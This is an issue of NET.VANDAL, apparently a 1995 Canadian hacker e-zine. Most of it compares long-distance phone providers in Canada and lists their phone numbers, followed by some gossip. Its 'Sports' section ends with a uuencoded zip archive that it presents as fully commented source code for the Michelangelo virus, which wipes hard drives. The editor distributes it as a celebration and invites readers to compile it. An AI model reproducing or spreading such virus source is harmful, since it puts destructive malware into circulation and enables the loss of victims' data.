Copy Link
Add to Bookmark
Report
Net Vandal 4
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
*VOL:1* NUMBER 4, Mon Mar 6, 1995 ALL WRONGS DESERVED TORONTO
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VAND
ET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL
T.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL]
.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL]
VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [
ANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [N
NDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NE
DAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET
AL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.VANDAL] [NET.
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
An exercise in irritainment and metamagical outranking
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
NET.VANDAL vol 1, number 4
[][][][][][][][][][][][][]
Brought to you by: The Most Reverend Lucifer Messiah
CONTENTS
ontent
nten
..
* F E A T U R E *
Bell: Answering Your Call?
- The Truth About Long-Distance Providers
* G O S S I P - R U M O U R - F E E D B A C K *
- Congrats, Encryption, Famous Painters, Canadian Airborne
* C A B A L T R I C K S *
- Telephone Numbers to the Canadian Long Distance Providers
* S P O R T S *
- The Michelangelo Virus
"We are sorry. The number you have dialed is no longer in service
Please hang up and try your call again. This is a recording..."
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
* F E A T U R E *
Bell: Answering Your Call?
- The Truth About Long-Distance Providers
I don't know about other areas of the world, but ever since the CRTC
(Canadian Radio and Telecommunications Commission) decided Bell could no
longer have the monopoly on long distance telephony in Canada, (due to the
Equal Use of Access laws passed in July, 1994), this country has reached
its saturation point in long distance providers and resellers.
You may be wondering just how these companies can provide long distance
services at a reduced rate, and still be able to survive. Another important
consideration before choosing any one provider is, just how much will the
company save you. This issue's feature column will focus on these new
services, now approaching their first full year of availability in Canada.
A true telephone company is one which provides it's own switching and handles
the connection between the callers and the numbers being called. Although
in Canada, companies are forced to use phone lines owned by Bell, switching
and connections can be handled by any external source.
There are only a few major telcos in Canada, of which none crosses another's
servicing area. Some examples are AGT, Bell Canada, BC Tel, Island Tel,
MT&T, and Newfoundland Tel. Most of these companies are members of Stentor
Alliance.
There are also another kind of telco: one which services long distance only.
These companies service their own lines, and their own switching stations,
but do not process local calls. These companies can pass on savings by
providing lower overhead, since the companies are generally much smaller
than the areas major provider.
The other kind of provider is the long distance reseller. An example of
this kind of service is Sprint Canada. Companies of this sort buy huge
blocks of long distance time from the major area telco. Buying time in bulk
like this is much cheaper, and thus the company pays less. After adding in
their own price, the savings can be passed down to the end user.
The major telephone companies have created programs to compete with the
alternative providers, although the Equal Use of Access laws also forbid
them from selling less than the smaller companies. The program is called
Real Plus, or in Newfoundland, New Teleplus. For the most part, they offer
a 20% discount on the 3 numbers called in Canada and/or the US generating
the greatest cumulative spending, and 15% off of all other long distance
calls. There is, however, a $15 minium before savings take effect. MT&T and
Island Tel have extended this service to cover international calls as well,
but at a $20 per month minimum. Newfoundland is identical, offering the
same program as the others, except that there is no minimum spending before
saving, and there is a $2 subscription fee to use the service.
They each offer the Calling Card and the Hello Card (a debit card), and with
exception to MT&T and Island Tel, the Call Me Card (a credit card used for
having people call you).
They also offer Real Plus Rewards points, redeemable for Bell services and
products, GM Visa Card dollars for GM products, or Air Miles for travel
services.
What does the competition have to offer? Each has its own programs and
pricing, which can often be confusing. Here is a couple of Canada's largest
alternative LD providers, with a detailed description of the services they
have to offer.
* ACC - ACC Savings Plan
This company has different rates for different times throughout the day.
>From 8am until 6pm, the savings is 15%. From 6pm to 11pm, 35%, and from
11pm to 8am you get a savings of 30% off of the Bell time-of-day charges.
This comes with a $10 minimum calling before savings take place. They also
give you $10 in redeemable coupons for signing up.
* ACC - Students Plan and Homeservice Club
These are the same as ACC Savings plan, but for the student plan, from 8am
to 6pm you will get a 17% savings, and from 6pm to 11pm a 40% saving. The
Homeservice has 42% off during the 6pm to 11pm period.
* ACC - The Bay Service
This is the same as ACC Savings plan except that it pretty well gives you a
32% discount on all calls, except overseas, which get a 20% savings.
* Cam-Net - Universal Residential Plan
Cam-Net offers 25% off calls to Canada and 35% for the US, and 10% to
overseas. There is a referral bonus of $5 per activated referral, and new
customers are given a coupon book and 30 free minutes.
* Fonerola - Affinity Programme
Very odd. You'll have to call on this one. Rates vary for different areas
throughout the US and Canada. Then theirs a 25% savings on some European
places, and 15% on others. It's strength is in the fact that you can use it
to call american 1-800 numbers from Canada, but at $0.15 per minute.
* Hong Kong Telecom
Flat rates all day. 24 cents/minute intraprovincial. 32 cents/minute
introprovincial, and 34 cents to the US. Biggest savings are to Hong Kong
at 65 cents/minute. Interestingly, they do not offer the phone bills in
chinese. They give you a $10 off coupon book for signing up.
* London Telecom - Flat Rate Service
Costs $69.96/month for a maximum 80 hours of calls (40 in the day, and 40
hours in the PM hours). The area is very restricted, covering only part of
Ontario. They have a Reverse Calling feature which is similar to Collect
Calling, but with no extra charges incurred. 6 months of advanced payment
will get you one month free. 12 months of advanced payment will get you 2
free months. They also offer a 5% discount/month for each activated
referral.
* Sprint - The Most Worldwide
Gives you 50% off on the 1 number you call the most (in minutes, not number
of calls) in Canada, in the US, and Overseas. All other calls get 15% off.
The discount being based on minutes almost always yields higher overall
savings. There is some connection to Zellers and Club Z. They have a debit
or prepaid phone card called the Instant Foncard. Summer of this year they
will present customers with a credit type card.
* STN - Talk Around The Clock
They claim 60% off ALL long distance calls. What they don't tell you is
that they mean off of the Bell base rate, not the time-of-day rate like all
other services advertise. This advertisement is misleading. The greatest
savings are in the daytime. In the evening, you are saving about 38% over
Bell, and after 11, you are saving nothing.
This company is the one that was blamed for "slamming", hooking up customers
without their permission.
Their dishonest policies and advertising is a good hint that this company
is not one to play around with.
Crossed with the fact that the company is soon to be defunct (according to
an article in Toronto's the Globe And Mail), I wouldn't trust them.
* Unitel - One and All, Close Connections and Unitel Overseas
This company has several ways to save money, and plans that can be
overlapped for greater services. Set up the right way, one could save about
36% off of some of their calls. The Simple Savings program is really good
if you are spending over $75/month on your bill.
Early customers recieved a free month every year, based upon their average
bill totals for the year. They also give you $10 in call coupons, and until
the end of this month, offering 60% off all calls all day Saturdays.
*
For people with minimal phone bills, certainly the bill from their major
provider is most beneficial. You perhaps won't save _quite_ as much money,
but we may only be talking pennies or a few dollars. You are saving a trip
to 2 places to pay off phone services, and thus avoiding hassles.
People who have phone calls mostly to one number in Canada and one in the
US, and one overseas, Sprint is obviously in the lead. Unitel has a very
good package for those who have numbers that they call very regularly, and
have recently lifted the $3/month charge if you wanted discounts on
international calls.
According to the available information, STN is probably not a good idea in
any case. Not only because of their dishonest marketing schemes, but also
because their mother company in the US has recently stated that because STN
has been losing so much money for them, they may pull the financial plug,
effectively shutting them down, and leaving many customers hanging in a long
distance limbo.
For the most part, long distance savings depends on your calling patterns.
How much money a given company is going to save you in long distance
calling will vary constantly as your patterns change.
After reading unbiased information on the available options, one can make a
wise and educated decision, and begin saving money once hoarded by Bell
Canada.
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
* G O S S I P - R U M O U R - F E E D B A C K *
Seems quite a few people rather liked the last issue (NET.VANDAL volume 1,
number 3.000199). I extend a collective 'Thanks!' to the many people who
wrote in with compliments. It was a lot of fun to write, and hopefully just
as much fun to read.
The issue also grabbed the attention of several new people who have now
subscribed to the list. Only one person cancelled their subscription, so it
couldn't have been all that bad. <g>
Be warned. Today is the day Michelangelo is to strike. Err, well, if your
reading this, he obviously hasn't affected your system this year round. See
this issue's Sports Section for the source code to the Michelangelo virus.
The Canadian Regiment disbanded yesterday. Incredible display, considering
what we know of them behind the scenes, don't you think? I still want to
know why CBC was allowed to show the hazing scenes on national TV, but if
any of us were to show a similar film, we would be charged for disseminating
pornography.
Two people have suggested that they would like to write articles on
encryption for an upcoming issue of NET.VANDAL. Keeping this in mind, I
wouldn't mind seeing some write-ups or other contributions from other people
on the list.
Send in some stuff! Anything used will be creditted to its author in any
way they see fit (or left blank if you wish to be anonymous).
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
* C A B A L T R I C K S *
Because of the feature column, I thought it would be a good idea to post the
phone numbers to the companies listed above. Remember that they are for
Canada only. Call them all. Get information right from the horse's mouths.
ACC (800)265-3600
AGT (403)530-4200
BC Tel (800)661-0166
Bell (416)310-2355
Cam-Net (800)688-9733
Fonorola (800)905-2580
Hongkong Telecom (604)668-9898 (long distance for many of its customes!)
Island Tel (902)436-4343
London Telecom depends on where you are
MT&T (902)454-7730
Newfoundland Telephone (709)739-2450
Sprint (800)980-5464 (english) (800)980-8595 (french)
STN (416)365-5743
Unitel (800)565-4708
I was seriously thinking about providing information on how some of these
services are hacked, but I thought, "Nah, none of the NET.VANDAL readers are
involved with this sort of activity", and thought better of it. We do have
a standard of conduct we must keep up. Oh well.
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
* S P O R T S *
What a beautiful day to have a virus crisis. For those who remember the
Michelangelo scare last year, beware. The virus could go off _any_ March
6th, wiping out the data on your hard drive, not just last year's.
Of course, as we found out, the entire show was just a media hoax led by the
likes of John McAfee, who were most likely looking to boost their sales more
than anything. The virus hadn't spread enough to worry about.
A quick rundown: This virus is the STONED virus with one slight
modification. STONED would write a simple message to the monitor
approximately once out of every 7 boots. Michelangelo was modified to
instead overwrite the hard drive with junk bytes from memory, thus trashing
any data held thereon.
Since it is nothing more than a copy of STONED with this minor change, it is
hardly the beast EE-CAD software chief Fred Grist was speaking of when he
said, "The Michelangelo virus is certainly one of the trickiest software
viruses to be encountered ... This virus program resembles the artist's
impatient personality - it is an elusive opponent" [May 1992, The Computer
Paper].
In celebration of one of the year's biggest flops, we present you with the
fully commented source code for the Michelangelo virus. Even if you don't
plan on compiling it, the source code is an interesting read.
begin 644 mich.zip
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
MHB(>B^2O<_\)``!G+0``"``````````!````````````34E#2"Y!4TU02P4&
2``````$``0`V````)0H`````
`
end
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[END ISSUE]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
Addendum:
Man with problem keeping mouth shut may lose his teeth.
Personal mail to:
lucifer@csis.pcscav.com
all wrongs deserved, granted "post-everywhere" status by the teenage buddha.
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
<<<<<<<<<<===NET.VANDAL===>>>>>>>>>>
will appear whenever I get to it
(good forgeries are welcomed)
How do I JOIN NET.VANDAL?
************************
Join the list at any time by sending a "SUBSCRIBE NET.VANDAL"
command in the body of a message to net.vandal-request@hack.pcscav.com
How do I LEAVE NET.VANDAL?
*************************
Leave the list at any time by sending an "UNSUBSCRIBE NET.VANDAL"
command in the body of a message to net.vandal-request@hack.pcscav.com
How do I SUBMIT INFO to NET.VANDAL?
**********************************
Send your articles addressed to net.vandal@hack.pcscav.com
<<<<<<<<<<===NET.VANDAL===>>>>>>>>>>
